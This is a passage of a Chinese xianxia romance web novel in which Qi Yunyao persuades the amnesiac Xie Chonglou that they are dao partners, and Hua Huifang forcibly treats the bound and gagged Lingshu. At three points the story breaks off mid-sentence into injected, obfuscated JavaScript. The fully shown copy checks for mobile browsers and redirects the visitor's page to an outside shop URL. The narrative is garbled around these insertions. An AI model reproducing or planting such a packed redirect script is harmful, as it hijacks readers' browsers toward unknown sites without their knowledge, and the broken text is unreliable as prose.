祁云耀却立刻挂上一脸笑,朝他轻轻招了招手。 花秽芳猛地转头,不可置信地瞪了他一眼。可祁云耀笑容不减,只差咧开嘴大喊“我在这,快来抓我啊”。 花秽芳刚一回头,就见屋里谢重楼仍一眨不眨地盯着这边,他心下一紧,想叫祁云耀别再招手了。 可往旁边一看,祁云耀竟已经不知何时不见了。 他再转头望向屋内—— 窗户已然大开,灵枢皱着眉、满是嗔怒的脸,完完全全露了出来。 花秽芳心里猛地一软,脑子一片空白,刚想扯出一个笑,一只茶壶就迎面飞过来,直接把他从围墙上砸了下去。 39. 剑灵 自那日偷窥被抓包后,东峰小院的院墙便被加高了数米,严防死守。更甚的是,灵枢此后再也不叫谢重楼出去采药,只勒令他日日在院里炮制药材、做些杂活,分明是刻意隔绝他与祁云耀见面。 祁云耀和花秽芳在西峰闹得鸡飞狗跳,互相折磨。他一门心思想见谢重楼,死活不肯好好配合试药;花秽芳满脑子都是实验,好几次天雷都要劈到脸上了,都不肯收手。 这般闹腾了两日,终究是花秽芳先败下阵来。他一手捏着一瓶光看就诡异的药,一手拽着祁云耀的腿,商量着用一个能让他见到谢重楼的消息,换祁云耀乖乖配合。 他略一思索便答应了,结果喝下那药后直接昏死一整天。醒来后气冲冲去找人理论,这才拿到真正有用的消息——灵枢每隔十日,便会出谷采药一次。 自那之后,祁云耀便日日盯着东峰动静,夜里睡觉也只敢浅眠,半点不敢松懈,生怕错过这唯一能单独见到谢重楼的机会。 灵枢下山那日,天刚蒙蒙亮,晨雾裹着药王谷终年不散的草木清香,缠在东峰那道加高了数米的院墙上,凝成细密的水珠,顺着墙面缓缓滚落。 祁云耀佩剑蹲在不远处的老树上,浑身绷得笔直,目光死死锁着那道缓步下山的青色身影。直到灵枢彻底消失在山道尽头,他才松开捏在手里挡脸的树枝,纵身一跃,轻巧落地,拍了拍衣摆上的尘土,大摇大摆地走向东峰小院。 东峰的院门似乎从不上锁,从来都只是虚虚掩着。就像是里面的人刻意给外面的人留门似的,但是外面的人从不主动进去,里面的人也不主动邀请。 但祁云耀才不管这么多,直接伸手一推,老旧的木轴发出一声轻浅的“吱呀”,打散了清晨的寂静,也惊动了廊下正坐着的人。 谢重楼正坐在走廊上垂着眸分拣药材,听见声响便抬眼望来,黑黝黝的眸子撞进祁云耀的视线里,手里的动作顿了顿。 四目相对,两人皆是一愣。 祁云耀心头猛地一跳,有些猝不及防——他原还想着要寻上一圈,没料到一推门,就撞进了心上人眼里,连日来的思念,此刻化作惊涛骇浪,水流倒灌,堵满咽喉,让他一句话都说不出来。 而谢重楼只是眨了眨眼,眉头轻轻蹙起,眼底浮着几分茫然,开口时声音平静,带着点迟疑:“你是谁?” 他的目光扫过祁云耀的脸,又落到他腰间配着的那柄漆黑长剑,眼里浮现出一丝异样的情绪,旋即又快速消失,目光回转到他脸上,不知道在想什么。 祁云耀心头一沉,却也早有预料,压下胸腔那点酸涩,抬脚跨进院门,反手虚掩上门,一步步朝谢重楼走去。 廊边摆着竹编的药筐,里面分放着晒好的药干与鲜采的药草,谢重楼手里捏着的药材无意识地滑落,身子微微挺了挺,望着他走近,眼底的疑惑更甚。 祁云耀在他面前站定,目光落在他身上,又移到他干净的眼睛里,喉结轻轻滚动,终是抬手,缓缓将腰间漆黑长剑卸下,然后递到他面前,轻声问道:“你还记得这把剑吗?” 谢重楼看了看他,又垂眸凝望着面前的玄剑,指尖捻了捻,将沾上的浅淡草药灰蹭掉,而后郑而重之伸出双手,小心翼翼地接了过去。 他将剑贴在怀里,指尖轻轻抚过玄铁剑身,指腹摩挲着剑身上重楼草的纹路,眉头微蹙,语气带着几分不确定的茫然:“好像,我也有一把很像它的剑,但是不知道去哪了。” 祁云耀心头猛地一喜,胸腔里翻涌着难以言喻的希冀,还以为他终是想起了些什么,忙不迭开口:“这就是你的剑——” 话音未落,便被谢重楼干脆利落地打断。 “不是的,这不是我的剑。” 他抬眼望着祁云耀,将断不义轻轻递还过来,黑黝黝的眼珠转了转,像是在认真思索,几息后重重一点头,语气无比肯定:“这不是我的剑,我的剑里面有三个剑灵,你的这把剑只有一个。所以这不是我的剑。” “什么?”祁云耀瞳孔微缩,脸上的喜色瞬间僵住,满是不敢置信。 谢重楼却愈发笃定,甚至微微倾身,侧耳贴在断不义的剑身旁静听了片刻,而后抬眼,语气斩钉截铁:“你的剑很安静,它都不怎么说话。但,我记得我的剑很吵,每天都很吵,连睡觉了都还要吵。很烦,但我好像很喜欢它。” 他说着,又把断不义往祁云耀面前递了递,见祁云耀怔怔的不肯接,顿时皱起了眉,黑亮的眼睛直勾勾盯着他,又问了一遍:“你还没说你是谁?” 祁云耀的手蜷了蜷,嘴唇紧紧抿着,心里涌上酸涩与委屈,连眼睛都染上了浓重的悲伤。 谢重楼见他这般模样,瞬间慌了神,手足无措地站起身,起身太急,不慎将膝头那只盛着草药的小竹篮碰翻在地,药草散了一地,他却全然顾不上,只慌忙伸手,就要去拽祁云耀的衣袖,那动作自然又急切,像是刻在灵魂里的反应。 可指尖还未触碰到祁云耀的衣料,便见那双极度漂亮眼眸里,缓缓落下一滴琉璃清透的泪,飞快滚过脸颊,砸在地上。 下一秒,眼前人整个眼眶都红了,声音里裹着嗔怪与委屈,一字一句道: “我可是你的道侣啊!” 话音落的一瞬,祁云耀便见谢重楼浑身猛地僵住,显然是被这几个字震住了。 这正是他要的效果,当即趁热打铁,几步冲上前挨着他坐到回廊上,抬手捂住脸便放声“痛哭”,趁着谢重楼还没回过神,一股脑便将指责全涌了出来: “我就知道你都忘了!你全都忘干净了!当初明明是我拼了命救了你,是你哭着喊着非要以身相许的!结果呢!结果现在转头就把这一切都忘了的人却是你!呜啊啊啊——我不活了!” “等一下,你先等一下!” 谢重楼被他这阵仗弄得手忙脚乱,也连忙坐回他身边,伸手去扒他捂着脸的手,眉头拧成一团,急声道,“你先别哭了!有话好好说!” 祁云耀哭声戛然而止,手“刷啦——”放下来,一双眼睁得通红,泪汪汪的眸子裹着满眶幽怨,直勾勾盯着人,那眼神盯得谢重楼浑身不自在,慌忙偏开脸,可刚移开视线,脸就被祁云耀伸手死死捧住。 “你躲什么!不是要我别哭嘛?现在倒躲了!”祁云耀的语气带着点逼问,指腹轻轻扣着他的脸颊,不让他再偏头。 “你先等我想一下……” 谢重楼慌慌张张地挣扎,想把脸从他掌心挣开,可祁云耀哪里肯放,如今正是趁热打铁的关头,放他走,这人指不定就缩起来当鹌鹑再也不肯理他了。 “你……万一你是骗我的呢!我压根不记得自己说过那种——话?” 谢重楼梗着脖子想反驳,可话说到一半,却猛地顿住,眼睛倏地睁大,满眼都是不敢置信,眉头皱得更紧,像是听到了什么五雷轰顶的话,整个人都懵了。 “怎么不说话了?是心虚了吗!”祁云耀逮住机会,立刻追着质问。 “你,你怎么联合你的剑来骗我!你怎么可能真的救过我!”谢重楼回过神,语气里满是不敢置信,挣扎得也愈发猛烈,身子一个劲地往后挣。 祁云耀也是心头一惊,他万万没想到,断不义竟在这时候开口了。谢重楼是剑骨,能与剑灵交流,想来刚才是剑上那唯一残存的剑灵,竟在关键时刻帮了他一把! 一丝得意悄悄从心底冒出来,他的底气也更足了,手上力道稍紧,牢牢扣着谢重楼的脸:“你都失忆了,当然什么都不记得!” “不行!”谢重楼猛地偏头,借着一股蛮力终于从他掌心挣脱,脱离的瞬间,竟直接手脚并用往后缩了几米,坐在地上警惕地看着他,像是怕再被捉住一般,胸口微微起伏着喘着气,目光在祁云耀和一旁立着的断不义之间来回打转,脸上的怀疑更甚,“万一你们两个联合起来骗我呢!你要是拿不出点什么,我才不信!” “当然有!”祁云耀像是早有准备,立刻抬手从怀中掏出那本蓝色书皮的册子,递到他面前,抬眼望着他,语气笃定,“这是你当年送我的礼物,这你总该有点印象吧?” 甚至都不用将册子递过去,光是谢重楼看见书册的一瞬,祁云耀便笃定,他心里已然是有印象的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“所以你别再忘了。”祁云耀的声音带着哽咽,顺势将头靠在了他的肩膀上。 这个姿势其实很别扭,也很不舒服——十年过去,他又长高了些许,但谢重楼的身量却比从前小了一截,可他却半点不在意,只觉得心口被填得满满当当,说不清的感觉。 他不知道谢重楼为何会变成这样,可起码,谢重楼还在,他没死,还活着,并且他们又凑在一起了。 “你再忘记的话——” 祁云耀直起身,后半句话还没说出口,眼前便落了一片黑影,他下意识闭上眼,一颗泪珠顺着脸颊滑下来。而下一瞬,那滴泪便被温暖的指腹轻轻拭去,连带着眼皮上,也落了一点轻柔的触感,轻轻的。 黑影散去,祁云耀怔怔地抬眼,撞进谢重楼凑得极近的眼眸里,他能从谢重楼的眼睛里看见自己,全部都是自己。 一双手仔仔细细将他脸上的泪全部擦去,专注又认真。 “你……”祁云耀脸颊烧得绯红,连耳根都熟透了,“你怎么能这样!是谁教你的!” “嗯?”谢重楼歪了歪头,眼底满是茫然,半点没觉出不妥,反倒理直气壮,“我们不是道侣吗?道侣间亲吻不是很正常吗?” 他伸出手轻轻碰了碰对面红透的脸颊,“我只是觉得想要这样做,就这样做了,不对吗?” “没、没有不对。”祁云耀别开脸,声音闷闷的。 话音刚落,手便被谢重楼轻轻攥住,他,抬眼望过来时,黑黝黝的眼睛亮晶晶的,郑重许下承诺: “虽然我不记得之前的事了,但我以后一定会做一个好道侣的!” 祁云耀望着那张认真的脸,脑子里被搅得一塌糊涂,连说的是什么都听不清楚,就像是耳朵被蒙上了一层软纱,而他整个人陷在一片泥沼里,挣扎或是不挣扎都在往里陷。 他都不知道自己究竟在做什么,在听什么,在看什么,像是要晕倒了似的,全身上下的血液都倒灌进了大脑,在被淹没前,他神志不清的回了一声: “嗯。” 40. 破门 这几天,大概是祁云耀十年来最轻松的日子。 他每天天不亮就从西峰溜出去,直奔东峰去找谢重楼,直到天黑才依依不舍地折返。一回去就撞上花秽芳那张臭脸,两人相看两厌,再心不甘情不愿地被拉去做些乱七八糟的实验,然后不出所料被药倒。第二日醒来,连理论的工夫都没有,又匆匆爬去东峰,见他的心上人。 他起初还为谢重楼忘了从前而难过。 可细细一想,又觉得未必是坏事——如今的谢重楼太过干净纯粹,比他们初见时还要单纯,就像谢长泽曾经提过的那样,一旦认定,便会全心全意地依恋。 他把两人在西门的过往一一讲给对方听,谢重楼听得津津有味,只是每每困惑,为何自己一点都记不起。 祁云耀便适时提醒,说不定是有人故意要将他们分开,再暗搓搓地给他上眼药,说自己才是他最重要的人,日后若是出事,一定要先想起他。 不论他说什么,谢重楼都信。 他很享受这种被全然信赖的感觉,即便分开前,谢重楼也这般待他,可他总觉得哪里不一样,具体是哪里,却说不上来。 思绪飘回西门往事,一个名字不由自主地浮了上来—— 谢长泽。 当初他们逃跑时,的确给谢长泽留了足够多的麻烦。可祁云耀心里清楚,一旦谢长泽解决完那些事,必定会立刻出发寻找“尧云”,到时候,又免不了一场追逃。 况且—— 祁云耀坐在东峰小院里,将谢重楼紧紧抱在怀中,下巴抵在他肩窝,眉头越皱越紧。 他忧心忡忡地望着怀中人,心绪愈发沉重。 况且谢重楼还在药谷。 他至今没能弄明白,谢重楼究竟为何会来到药王谷,又为何会莫名其妙地还童几岁。 若他真和青云剑庄后山地牢里那些化水的半仙一样,那谢重楼变小一事,便和谢长泽脱不了干系。 可谢长泽把他送出来,意义何在? 灵枢说,谢重楼是谢青托付过来的。若真是如此,谢青又为何要将他送出来? 还是说,谢青是察觉到了什么,才把谢重楼送离身边? 真正的弑师凶手,到底是谁? 谢重楼却不知他心里究竟在想什么,只低头分拣着药材,灵枢用不了多久就要回来了,若是没把这些分好,他到时候肯定要大发雷霆。 倒不是怕他,只是灵枢发起火来叫喳喳的,实在是有些烦人。 “唉——” 两人不约而同地叹出一口气,旋即同时一怔。 谢重楼眨了眨眼,手上动作一顿,率先轻声问:“怎么了?” 祁云耀不答,反而将他抱得更紧,反问道:“你先说,你叹气做什么?” “我在想,师傅明天应该就回来了,那你就不能来找我了。”谢重楼老老实实回答,“师傅看见你肯定会很生气,又要发脾气,他不许我见你的。” “是吗?”祁云耀低声问,“他为什么不许你见我?” “说你是花长老那里的人,花长老是坏人。” “这样啊……”祁云耀贴着他的颈窝,声音低低的,“那你可以来找我,偷偷溜下来找我。” “我要想一想。”谢重楼没有立刻答应,转而又问,“你有心事吗?” “有啊,我心事多了去了!”祁云耀把下巴重重往他肩窝里一搁,张口就往花秽芳身上泼脏水,“我被花秽芳天天困在西峰,他对我做惨无人道的实验,每次都痛不欲生!还不准我出门,我每天来见你,都是费了九牛二虎之力!若不是想着你还在这里,我早就被他折磨死了!” “那你逃跑吧!” 谢重楼浑身一僵,而后轻轻抬手,笨拙却温柔地拍了拍他的脸颊,“我可以帮你逃出去。” “那你呢?”祁云耀立刻趁热打铁,“你不和我一起走吗?” 他几乎恨不得立刻得到肯定答案,当场就把人扛下山。 “可灵枢师傅还没回来,要跟他辞行才行。”谢重楼一板一眼地说。 “那我不走。”祁云耀抱得更紧,语气又软又坚定,“你跟我走,我才走。我就是为了你才来这里的,你不陪我一起,就算被折磨死,我也跟着你。” 谢重楼由着他抱着,不再说话,只是安安静静地坐着。 晨风吹过,带着淡淡的香,卷起两人的衣摆,缠缠绕绕,就像此刻紧紧相依的模样。 不出所料,灵枢在第二日清晨便回了药王谷。 他回来时,恰好撞上正要往山上走的祁云耀,整个人比出去时虚弱了太多,面色发青,唇色惨白得近乎透明。 他似乎又瘦了一大圈,原本就清瘦的身形,此刻更是瘦骨嶙峋,露出衣袖的手腕细得只剩一层薄薄的皮贴着骨头,仿佛轻轻一折就会断。 灵枢见着祁云耀,连发火的力气都没有了,只淡淡瞥了他一眼,眼下浓重的青黑格外显眼,旋即便缓缓转过头,一步一晃,脚步虚浮地走回了自己的住处。 祁云耀见他这副模样,心里猛地一跳,即便满心都想立刻见到谢重楼,也清楚眼下事情的紧迫性。他不敢耽搁,赶忙折回西峰,将灵枢的状况匆匆告知了花秽芳。 他赶到时,花秽芳已然在收拾行囊,平日里常用的医物被他一一收好,连最近给祁云耀试过的药瓶也尽数装进包里。他甚至来不及仔细听祁云耀说明详情,便火急火燎地冲至院内,旋即他脚下金光乍现,缩地之术展开。 几乎是下一瞬,两人就到了东峰,但出人意料的,今日院门破天荒被锁上了,院内静悄悄的,连半点动静都没有,死寂得有些反常。 花秽芳神色一凛,身形陡然变换,原本的少年模样瞬间被拉长,眨眼间便化作了成年模样。他后退几步,足尖轻轻一点地面,纵身跃上了围墙。 几乎就在他落在墙头的瞬间,灵枢住的那间小屋里传来了动静—— 先是谢重楼的声音,起初只是嘀嘀咕咕的,而后渐渐加大,连墙下的祁云耀都能清晰听见,他轻轻叫了一声:“师傅!” 紧接着,便是灵枢细若蚊呐的沙哑嗓音,虚弱得刚出口就在空中溃散了: “不准进来。” 花秽芳闻言,身形猛地一顿,还没来得及做出下一步动作,头顶的天空瞬间聚集起一团黑压压的雷云,云层翻滚,蓄势待发,仿佛下一秒就要劈下惊雷。 他脸色一沉,只得不甘地收回脚,从围墙上跃了下来。 祁云耀在墙下将这一切尽收眼底,心里又是一惊,对花秽芳被限制的程度,又多了几分认知——灵枢也是知道这重规则的。 花秽芳跃下围墙后,立刻扒在院门上,借着门缝偷窥里面的状况。 只见灵枢的小屋门是开着的,谢重楼端坐在门边,面朝门口的方向,神色十分不安,眼睛一会盯着院门,一会又转向屋内,手指不停地蜷起又放松,嘴唇抿得死死的。 他心里瞬间清楚,方才自己跃上墙的动静,灵枢定然没察觉,是谢重楼先发现,立刻向屋内传了话,灵枢才说出了拒绝的话。 看这情形,灵枢的状态怕是差到了极点,连周遭的动静都感知不到了。 花秽芳心里急得火烧火燎,恨不得直接无视头顶的雷云冲进去,可又怕天雷劈下时误伤了灵枢,只能按捺住急切,在原地焦躁地踱步。 就在他万分焦急之际,忽然被人猛地推开。 祁云耀把他从门缝边推到一旁,自己凑了上去,仔细看清院内的情况后,才转头低声问花秽芳:“你被拒绝的时效性是多久?” 花秽芳此刻心乱如麻,第一遍压根没听懂。祁云耀无奈,又耐着性子解释道:“如果那个人拒绝过你一次,可后来他睡着了或是怎么了,那这次的拒绝,还作数吗?” 花秽芳皱着眉仔细想了想,最后摇了摇头,语气不确定:“说不清楚。” 祁云耀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260211|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啧了一声,压低声音道:“你站稳了。” 花秽芳虽不明就里,却还是按他的要求,稳稳站在了墙角。旋即,他便感觉肩膀一重——祁云耀竟然踩着他的肩膀,再次爬了围墙。 谢重楼听见墙头传来响动,立刻起身就要去通报灵枢,可刚直起身,就冷不丁看见墙头冒出一颗熟悉的脑袋,顿时张开的嘴又悄无声息地闭了回去。 他歪着脑袋,眉头微蹙,像是在努力思索什么,片刻后,竟又慢慢坐了回去,装作没看见祁云耀的样子,依旧定定盯着院门方向。 祁云耀在墙头上坐稳,立刻对着谢重楼轻轻招了招手,示意他过来。 谢重楼看见了他的手势,手指不自在地蜷了蜷,眼神不安地在院门和墙头之间晃了晃,旋即又飞快扭头看向屋内,像是在确认灵枢的动静。犹豫了片刻,他终究还是按捺不住,悄悄起身,脚步放得极轻,窜到院墙下,仰着头,小声问:“你爬上来做什么?” 祁云耀没有立刻回答,反而俯身压低声音,问他:“你师傅刚才给你说了什么?” 墙下的花秽芳贴在墙边,一墙之隔,将两人的对话听得一清二楚,心里不由得揪紧。 谢重楼眨了眨眼,老老实实地回答:“师傅说,要是看见花长老,就立刻叫他。” “没别的了?”祁云耀又问,语气里带着一丝试探。 “没了。”谢重楼摇摇头,眼神带着几分不安。 “好。”祁云耀立刻换上一脸正色,语气软下来,带着几分哄骗的意味,“那你快去把门打开,你师傅只说看见花长老叫他,没说不准你开门,没禁止,就是允许你开的意思,对不对?” “可是……”谢重楼咬了咬下唇,眼神又开始犹豫。 “你看,”祁云耀故意皱起眉,装作委屈的样子,“我从这么高的围墙上跳下去,肯定会摔倒的,到时候就会受伤,说不定还会疼得走不了路,以后就不能来见你了。” 谢重楼在院墙下仰着头,死死盯着他,眼神晃来晃去,心里的天平不断摇摆,犹豫不决。 祁云耀见状,语气沉了沉,认真说道:“灵枢快要死了,我能救他,真的。” 见谢重楼眼神一动,他又趁热打铁,轻声追问,“你难道不想救你师傅吗?” 不知这句话戳中了谢重楼的什么地方,他猛地抬起头,眼眶瞬间泛红,眉毛紧紧蹙在一起,声音带着几分沙哑,语气却异常坚定:“我要救师傅。” 话音刚落,他便几乎毫不犹豫地转身,快步朝着院门跑去,伸手去拧门锁。 院门“咔哒”一声被打开的瞬间,花秽芳再也按捺不住,立刻冲了进去,直奔灵枢的小屋。祁云耀见此,也不再做作,纵身一跃,稳稳落在地上,快步走到谢重楼身边,将他轻轻抱进怀里,柔声安慰:“别怕,你做得很好,你救了你师傅。” 可谢重楼像是还没缓过神来,身体开始不断颤抖,眼眶红得吓人,他紧紧攥着祁云耀的衣袖,嘴唇哆嗦着,一遍又一遍重复着:“我要救师傅,我会救她。” 祁云耀心中一紧,立刻察觉出不对劲,刚想开口再安慰几句,屋内突然传来“当啷”一声脆响,紧接着便是灵枢的一声惊呼,可那惊呼刚响起,就被什么东西捂住了嘴,瞬间没了动静,院内又恢复了死寂。 没过多久,花秽芳就抱着一团被子从屋里走了出来,脸上又挂上了往日那种得意的笑,只是那被子上,沾满了星星点点的血渍。灵枢只从被子里漏出一颗脑袋,嘴巴被布堵住,说不出话,不知道究竟发生了什么,他几乎满脸失血,但气色却惊人的回转,不在有气无力的,而是怒目圆瞪,死死盯着花秽芳,手脚不停扑腾,像是恨不得扑上去咬死他。 路过祁云耀二人时,他竟然顿住了脚步,盯着不断哆嗦的谢重楼,像是大发慈悲似的说:“带回西峰吧,阿一他们能治好他。” 旋即下一秒脚下金光乍现,缩地阵法再现,四人回到了西峰。 41. 纠缠 回到西峰,那些“花秽芳”模样的人偶,竟像是提早得知了消息一般,全部躲藏了起来,唯有灵枢模样的人偶还在,见他们回来,立刻快步迎了上来。 灵阿一、灵阿二上前,引着祁云耀往他第一次来药王谷时用过的那间浴室走去;而花秽芳则抱着灵枢,径直进了平日里给祁云耀做实验的屋子。 房门“砰”地一声关上,几乎是下一秒,屋内就传来了激烈的碰撞声,夹杂着灵枢痛苦的嘶吼,穿透门板,清晰地传了出来。 浴室里,灵阿一和灵阿二早已在浴桶中放好了深色的药水,冒着淡淡的热气,他们默默退到一旁,示意祁云耀将谢重楼放进桶里。此时的谢重楼,双目涣散,冷汗早已浸湿了他的发丝,一缕一缕粘在苍白的脸颊上。 他已经说不出完整的话语,只能呜呜咽咽地发出零碎的音节,双手却死死抓着祁云耀的衣袖,指节泛白,眼泪像断了线的珠子,不断顺着脸颊滚落。 “我……不是……你……别信……” 他每艰难地吐出一个字,眼泪就跟着落下一滴,手指将祁云耀的衣襟揪得皱成一团。走到浴桶边,祁云耀轻轻将他往桶里放时,他依旧含糊地重复着那些破碎的字节:“他……坏……我……师傅……” 他像是彻底陷进了某种混乱的记忆里,怎么也挣脱不出来。即便被放进温热的药水中,也死死攥着祁云耀的衣领,不肯松手。哪怕双眼已经失焦,脑袋却始终朝着祁云耀的方向,整张脸因为极致的痛苦拧成一团,眼泪不断砸进药水里,荡开细小的涟漪,还有些顺着下颌流进嘴里,狼狈不堪。 祁云耀看着他这副模样,心脏一阵一阵的抽疼。他痛恨自己当初那句脱口而出的“救师傅”,若是没有提起那句话,谢重楼或许就不会被这般刺激,不会陷入这般痛苦的境地。 和灵阿一短暂交谈了几句,便不再犹豫,弯腰也跨进了浴桶。两人紧紧抱着坐在桶中,温热的药水因为多了一个人的重量,缓缓溢出桶沿,顺着桶壁滴落,在地面慢慢散开。 灵阿一和灵阿二见状,默默退了出去,轻轻带上了浴室的门。屋内,瞬间只剩下他们两个人。 祁云耀将谢重楼抱得死紧。浴桶中升腾的水汽模糊了视线,熏得他眼睛发涩,鼻尖泛酸。他将谢重楼的头紧紧嵌在自己的肩窝,声音哽咽,一遍又一遍地道歉:“对不起,对不起……是我不好。” 不知道是不是药水渐渐起了作用,谢重楼的颤抖渐渐平息下来,在他怀里慢慢停止了抽噎,呼吸也变得平缓。只是在最后闭上双眼、彻底陷入沉睡时,他还不死心般,用几不可闻的声音呢喃着: “你别信……” 浴室彻底陷入寂静。这浴室不知是何种构造,桶里的药水始终保持着适宜的温度,没有随着时间的流逝变得冰冷,依旧温热地包裹着两人。 周遭一静,隔壁屋子传来的痛苦嘶吼便显得格外刺耳。 没人知道花秽芳在里面做什么,灵枢的嘴被堵住,连拒绝的余地都没有,花秽芳便没了后顾之忧,唯有灵枢的哀嚎断断续续传来,偶尔夹杂着花秽芳若隐若现安抚声。 时间仿佛被拉长,又仿佛转瞬即逝——没过多久,或许是过了很久,两边的声音都彻底平息了下来,整个西峰陷入了一种诡异的寂静之中。 祁云耀的眼神也渐渐失了聚焦,等他回过神来,才发现自己不知何时,一直盯着浴室角落摆放的那尊双人神像,神像的面容模糊,却透着一股说不出的诡异。 他心头一动,立刻别过头,仔细查看谢重楼的状况,确认他已经彻底睡熟,呼吸平稳,才小心翼翼地抱着人跨出浴桶。 将谢重楼浑身上下湿衣物褪去后他愣了一瞬,只见谢重楼的手腕有一道已经愈合结痂的伤口,因为泡过水,结起来的痂被泡开,露出里面粉色的嫩肉。 他盯着这道伤疤,莫名的心底掠过一丝疑惑,却又被眼下谢重楼的模样牵动心神,无心再细究,连忙用干爽的布巾细细擦干他的身体,换上干净的衣物,而后稳稳地将他抱回了自己住的房间,轻轻放在榻上。 这是祁云耀在十年后,再次和谢重楼躺在一张床上。 曾经无数个他快要坚持不下去的日子里,他都会反复幻想着这一天——若是终于找到了谢重楼,他们会不会重新同榻而眠?那场景会是怎样的?是重新躺在西门的那间卧室,还是谢重楼带他回青云剑庄,躺在他的房间里? 他想过无数种可能,却从来都不是现在这样。不该是这样的,不该是在药王谷的这间小屋,他们应该很幸福的。 祁云耀坐在榻边,目光紧紧盯着谢重楼熟睡的面容,视线缓慢摩挲,从他舒展的眉眼,落到鼻尖,再滑到微抿的嘴唇。就像曾经无数个同榻而眠的夜晚,他偷偷看着谢重楼熟睡的样子一般,此刻谢重楼依旧在他身边睡得安稳,可他心底,却再没了当年的雀跃与欢喜,只剩下沉甸甸的东西。 明明只是十年,不过短短十年光阴,什么都好像变了,又好像什么都没变。 蓦地,他想起方才瞥见的那道伤疤,心头一紧,小心翼翼地捉住谢重楼受伤的那只手腕,轻轻放在眼前仔细打量。果不其然,这道伤口绝非看上去那么简单——这是一道被反复划开、又反复愈合的伤口,伤口最边缘那两种深浅不一的粉色嫩肉,清晰地证明着,谢重楼的这只手腕,一直在承受着反复受伤的折磨。 刚一愈合,就被人用利器重新划开,如此循环往复,才导致手腕处的肤色斑驳不均,留下了这道怪异又刺眼的伤疤。 祁云耀小心翼翼地躺下,将谢重楼轻轻抱进怀里。 谢重楼无知无觉,依旧沉睡着,浑然不知身边人周身的戾气正一点点攀升。 是谁呢? 祁云耀的心底翻涌着滔天的怒意,是谁一直在反复划开谢重楼的这道伤疤? 是谢重楼自己吗? 还是……灵枢? 若是灵枢,他又为什么要这么做? 脑子里第一个念头,便是灵枢想要谢重楼的血。 可他要谢重楼的血做什么?是为了实验,还是另有隐情? 无数个疑问在心底盘旋,让他心头的戾气愈发浓重。 思考间,他浑然不觉自己抱着谢重楼的手,正一点点收紧。直到谢重楼发出一声难受又无意识的嘤咛,才猛地唤回祁云耀的神智。他心头一慌,急忙松开手,小心翼翼地将谢重楼轻轻翻过来,让两人面对着面。 他凝视着谢重楼熟睡的脸庞,眼底的戾气渐渐褪去,取而代之的是坚定与决绝——他心里已经有了计划,无论付出什么代价,都要查出真相,保护谢重楼。 缓缓地,他再次将人搂进怀里,手臂轻轻收紧,直到两人鼻尖几乎相抵,呼吸交缠,才轻轻松了力气。他低下头,在谢重楼的额头上,印下一个轻柔又郑重的吻,心底莫名涌上一阵酸涩,眼眶瞬间泛红。 谢重楼似乎被这轻柔的触碰惊动,眉毛轻轻皱了皱,发出一句模糊的梦呓: “信……我。” “我信你。”祁云耀贴着他的额头,轻声回答。 他再次紧紧抱住面前的人,低声喃喃:“我会查出所有真相的,你也信我,好不好?” 谢重楼没有回应,双眼依旧紧紧闭合着,呼吸平稳。可祁云耀却仿佛感觉到了他的回应,一滴温热的泪,从眼角滑落,悄无声息地浸入枕头,晕开一小片湿痕。 他贴着谢重楼的耳畔,又轻声说了一遍,语气坚定: “我会的,一定。” 另一边,花秽芳正将最后一根银针从灵枢身上拔下来。 他后退几步,取出干净的布巾,细细擦拭掉银针上沾染的血渍,小心翼翼地将银针收进布袋里,这才长长松了口气,总算有闲暇好好打量面前人的躯体。 灵枢被牢牢绑在一个“大”字形的木架上,浑身上下的衣物早已被褪去,手脚被死死缚住,嘴里还塞着一团厚实的布,只能发出愤怒的吼叫。 他的躯体和露在外面的手腕如出一辙,瘦得只剩一层薄皮紧紧贴在骨头上,每一次急促的呼吸,都能清晰看到肋骨,连五脏六腑的大致轮廓都隐约可见,看得人心头发紧。 花秽芳眼底翻涌着心疼,伸出手,轻轻抚摸着那干瘦的躯体,接着他漂亮的眼眸一抬,才对上灵枢那张被血糊了大半,早已气得扭曲的脸。 他这才像是猛然想起什么,转身打来一盆温水,取来干净的帕子,依旧是那副小心翼翼的模样,一点一点、细细擦去灵枢脸上的血迹。 渐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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灵枢伸手系紧衣带,脸上也缓缓勾起一抹笑,可那笑容里满是讽刺,眼神里的嘲弄几乎要溢出来,“跟你待在一起有什么好的?” “很多啊。”花秽芳连忙解释,帮他将外袍轻轻披上,顺势将他整个人紧紧抱在怀里,下巴搁在他的肩窝,贪婪地吸吮着怀中人身上熟悉的气息,语气卑微又真诚,“我可以一直对你好,一辈子伺候你,什么都听你的。” 灵枢没有挣扎,只是缓缓抬起手,轻轻牵住花秽芳的手掌,将他的手翻过来。只见他掌心一道深可见骨的伤口还未愈合,皮肉外翻,触目惊心。 灵枢的指尖在伤口周围轻轻点了点,动作轻柔得反常,而后缓缓侧头,两人瞬间脸贴着脸,唇几乎要相触,呼吸紧紧交缠在一起。 花秽芳心底的雀跃刚要升起,连呼吸都变得急促,就听灵枢吐气如兰:“你的好,就是把我变成一个只能靠在你身下承欢的炉鼎吗?” 蓦地,花秽芳猛地抬起头,漂亮的眼眸里满是错愕与慌乱,嘴唇动了动,似乎想说什么,却又不知该如何辩解,最终只是张了张嘴,一个字也没能说出来。 两人依旧亲密无间地抱在一起,身体紧紧贴着,可眼神里的情绪却截然不同——一个眼底翻涌着滔天的恨意,而另一个的眼底,却藏着一种连他自己都说不清楚的情绪。 